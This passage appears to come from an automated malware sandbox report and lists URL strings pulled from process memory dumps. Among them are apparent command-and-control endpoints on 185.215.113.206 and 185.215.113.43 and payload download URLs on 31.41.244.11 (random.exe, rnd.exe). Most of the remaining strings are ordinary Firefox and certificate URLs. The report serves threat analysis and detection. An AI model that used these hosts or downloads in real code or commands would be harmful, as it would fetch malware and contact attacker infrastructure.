Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllm
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllJ?
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllK
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllj?
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllrverAp
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllz?
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ZT
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E59000.00000004.00000020.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E73000.00000004.00000020.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3014657915.00000000001FC000.00000040.00000001.01000000.0000000B.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E44000.00000004.00000020.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000ED9000.00000004.00000020.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3014657915.0000000000297000.00000040.00000001.01000000.0000000B.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3014657915.00000000001B4000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpC
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpH
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpN%
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpR%
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.00000000001B4000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpUser
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpW
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.00000000001B4000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpava
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpb%/
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.0000000000297000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpe67c4f18f0819a92c762bbb60cbcension
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.00000000001B4000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.00000000001FC000.00000040.00000001.01000000.0000000B.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3014657915.0000000000297000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpox
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phprowser
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.0000000000297000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpser
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpz%
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.0000000000297000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.20644cbae47d0d7e06e3f53de67c4f18f0819a92c762bbb60cbceristics
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.0000000000297000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.20668b591d6548ec281/ge
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.00000000001B4000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.20668b591d6548ec281/sqlite3.dllm-data;
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.00000000001B4000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.20668b591d6548ec281/vcruntime140.dllwserMetricsen
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.00000000001B4000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.206Local
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.00000000001FC000.00000040.00000001.01000000.0000000B.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3014657915.0000000000297000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.206Roaming
Source: skotes.exe, 00000006.00000002.3025966445.0000000000AFD000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3025966445.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000002.3025966445.0000000000B17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php4
Source: skotes.exe, 00000006.00000002.3025966445.0000000000B29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpG
Source: skotes.exe, 00000006.00000002.3025966445.0000000000B29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpZc
Source: skotes.exe, 00000006.00000002.3025966445.0000000000B29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpcodednL
Source: skotes.exe, 00000006.00000002.3025966445.0000000000B29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpnc
Source: skotes.exe, 00000006.00000002.3025966445.0000000000B29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 00000006.00000002.3025966445.0000000000B29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncodedJL
Source: skotes.exe, 00000006.00000002.3025966445.0000000000B29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpnu
Source: skotes.exe, 00000006.00000002.3025966445.0000000000B29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php~b
Source: skotes.exe, 00000006.00000002.3025966445.0000000000AFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe
Source: skotes.exe, 00000006.00000002.3025966445.0000000000AFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe5062/9
Source: skotes.exe, 00000006.00000002.3025966445.0000000000AFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe50623847q
Source: skotes.exe, 00000006.00000002.3025966445.0000000000AFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeO
Source: 22a4a09ee3.exe, 22a4a09ee3.exe, 00000009.00000003.2872408869.0000000001112000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/rnd.exe
Source: 22a4a09ee3.exe, 00000009.00000003.2872408869.0000000001112000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/rnd.exe05
Source: 22a4a09ee3.exe, 00000009.00000003.2872408869.0000000001112000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/rnd.exech%F
Source: 22a4a09ee3.exe, 00000009.00000003.2669862410.0000000005912000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2824638551.0000000005DFE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA808000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 22a4a09ee3.exe, 00000009.00000003.2669862410.0000000005912000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2824638551.0000000005DFE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA808000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 0000001A.00000002.2902855441.000001F5D597D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shandlerSvc
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: 22a4a09ee3.exe, 00000009.00000003.2872408869.000000000110D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microh
Source: 22a4a09ee3.exe, 00000009.00000003.2669862410.0000000005912000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2824638551.0000000005DFE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA808000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 22a4a09ee3.exe, 00000009.00000003.2669862410.0000000005912000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2824638551.0000000005DFE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA808000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 22a4a09ee3.exe, 00000009.00000003.2669862410.0000000005912000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2824638551.0000000005DFE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA808000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 22a4a09ee3.exe, 00000009.00000003.2669862410.0000000005912000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2824638551.0000000005DFE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA808000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 22a4a09ee3.exe, 00000009.00000003.2669862410.0000000005912000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2824638551.0000000005DFE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA808000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBC84000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2972793367.000001F5DBDD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2966905392.000001F5DA917000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2979130872.000001F5DCF6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001A.00000002.2903734560.000001F5D5C2D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903734560.000001F5D5C13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 0000001A.00000002.2903734560.000001F5D5C2D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903734560.000001F5D5C13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5361000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-times
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5361000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressions
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 0000001A.00000002.2898015922.000001F5C9B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/strings
Source: 150f368769.exe, 00000007.00000003.2466286777.0000000007332000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW17
Source: 150f368769.exe, 00000007.00000003.2466286777.0000000007332000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://localhost:9229/json.CN
Source: firefox.exe, 0000001A.00000002.2999734335.000001F5E2123000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2956154917.000001F5D9CB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2786773809.000001F5DA53C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901864507.000001F5D54A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2979130872.000001F5DCF2D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2990179924.000001F5E18BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2995778497.000001F5E1F8B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2994497967.000001F5E1E16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2951008774.000001F5D9707000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2956154917.000001F5D9CCD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2956154917.000001F5D9CFC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2997556881.000001F5E2083000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2979130872.000001F5DCF5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2955760839.000001F5D9BB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2951008774.000001F5D9704000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2963190699.000001F5DA533000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3011486050.000001F80003F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2785818739.000001F5DA540000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2992274625.000001F5E1BA7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3007478563.000001F5E3503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: 22a4a09ee3.exe, 00000009.00000003.2669862410.0000000005912000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2824638551.0000000005DFE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA808000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 22a4a09ee3.exe, 00000009.00000003.2669862410.0000000005912000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2824638551.0000000005DFE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA808000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 0000001A.00000002.2902855441.000001F5D597D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sMust
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 0000001A.00000002.2902855441.000001F5D597D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s_finalizeInternal/this._finalizePromise
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: 8c3bfc0f85.exe, 0000000A.00000002.3082847664.000000006C19D000.00000002.00000001.01000000.0000001D.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA92E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-update
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA92E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updatePREF_APP_UPDATE_SOCKET_RETRYTIMEOUTSERVICE_NOT_ENOUGH_COMMAND_
Source: firefox.exe, 0000001A.00000002.2973623994.000001F5DBE76000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2990179924.000001F5E1883000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2898015922.000001F5C9BE5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2957047249.000001F5D9D16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2971296230.000001F5DBB33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5DAF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2966905392.000001F5DA917000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2970783529.000001F5DBAE8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2979130872.000001F5DCF6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2971296230.000001F5DBB59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000001A.00000002.2973623994.000001F5DBEAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul8
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul:
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulOpenH264
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/arrows
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/autoco
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/moz-su
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulhttp://www.mozilla.org/keymaster/gateke
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulonpopupshown=dropmarkerpopupshown
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/BrowserSearchTeleme
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/TelemetryEnviron
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/TelemetryTimesta
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/addons/GMPProvid
Source: 8c3bfc0f85.exe, 0000000A.00000002.3072086078.000000001D259000.00000004.00000020.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3082426862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 22a4a09ee3.exe, 00000009.00000003.2669862410.0000000005912000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2824638551.0000000005DFE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA808000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 22a4a09ee3.exe, 00000009.00000003.2669862410.0000000005912000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2824638551.0000000005DFE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA808000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2778891754.000001F5D9777000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2955392353.000001F5D9990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2769996475.000001F5D9500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2777223406.000001F5D971F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2778516535.000001F5D975A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: 22a4a09ee3.exe, 00000009.00000003.2614717788.000000000590B000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2614559010.000000000590D000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2759142674.0000000005DEF000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2766702537.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com
